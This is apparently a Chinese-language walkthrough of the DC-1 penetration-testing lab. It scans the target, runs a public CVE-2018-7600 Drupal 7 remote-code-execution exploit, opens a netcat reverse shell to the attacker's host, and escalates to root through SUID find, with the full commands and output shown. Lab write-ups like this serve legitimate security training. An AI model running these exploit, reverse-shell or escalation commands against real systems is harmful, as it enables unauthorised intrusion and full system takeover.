主要知识点
- drupal 7 RCE
- find SUID提权
具体步骤
nmap起手,80端口比较有意思,安装了 Drupal 7
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 14:23 UTC
Nmap scan report for 192.168.57.193
Host is up (0.00087s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.2.22 (Debian)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 35155/tcp6 status
| 100024 1 52829/tcp status
| 100024 1 55282/udp6 status
|_ 100024 1 60444/udp status
52829/tcp open status 1 (RPC #100024)
不过目前不知道具体的小版本信息,不过我们可以广泛搜索并尝试一下可能的exp ,比如GitHub - pimps/CVE-2018-7600: Exploit for Drupal 7 <= 7.57 CVE-2018-7600
下载并执行,成功,果然是这个exp
C:\home\kali\Documents\OFFSEC\play\DC-1\CVE-2018-7600-master> python drupa7-CVE-2018-7600.py http://192.168.168.193 -c 'pwd'
=============================================================================
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |
=============================================================================
[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-7g3HIuyYpC29j2w81bwTC6UaPzNaAwKjGn66P287Yws
[*] Triggering exploit to execute: pwd
/var/www
下面我们用这个exp来创建反弹shell(一定要先在本地启动nc 命令监听),reverse shell成功创建后发现find命令具有SUID权限
C:\home\kali\Documents\OFFSEC\play\DC-1\CVE-2018-7600-master> python drupa7-CVE-2018-7600.py http://192.168.168.193 -c 'nc -e /bin/bash 192.168.45.240 80'
=============================================================================
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |
=============================================================================
[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-cILshiFYqC-hWCdK365kKueGh6Epmbw607At66yyXKQ
[*] Triggering exploit to execute: nc -e /bin/bash 192.168.45.240 80
......
......
C:\home\kali\Documents\OFFSEC\play\DC-1> nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.240] from (UNKNOWN) [192.168.168.193] 35956
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
find / -type f -perm -4000 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
按照GTFObins的描述来实现是会失败的

会报错
www-data@DC-1:/var/www$ /usr/bin/find . -exec /bin/sh -p \; -quit
/usr/bin/find . -exec /bin/sh -p \; -quit
/bin/sh: 0: Illegal option -p
我们这里稍微改一下 ,改为 ./find . -exec /bin/bash -p \; -quit,就会成功提权
www-data@DC-1:/var/www$ find . -exec /bin/bash -p \; -quit
find . -exec /bin/bash -p \; -quit
bash-4.2# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
bash-4.2# whoami
whoami
root
bash-4.2# cat /root/proof.txt
cat /root/proof.txt
623e6080542979c3af71a73b8aa28119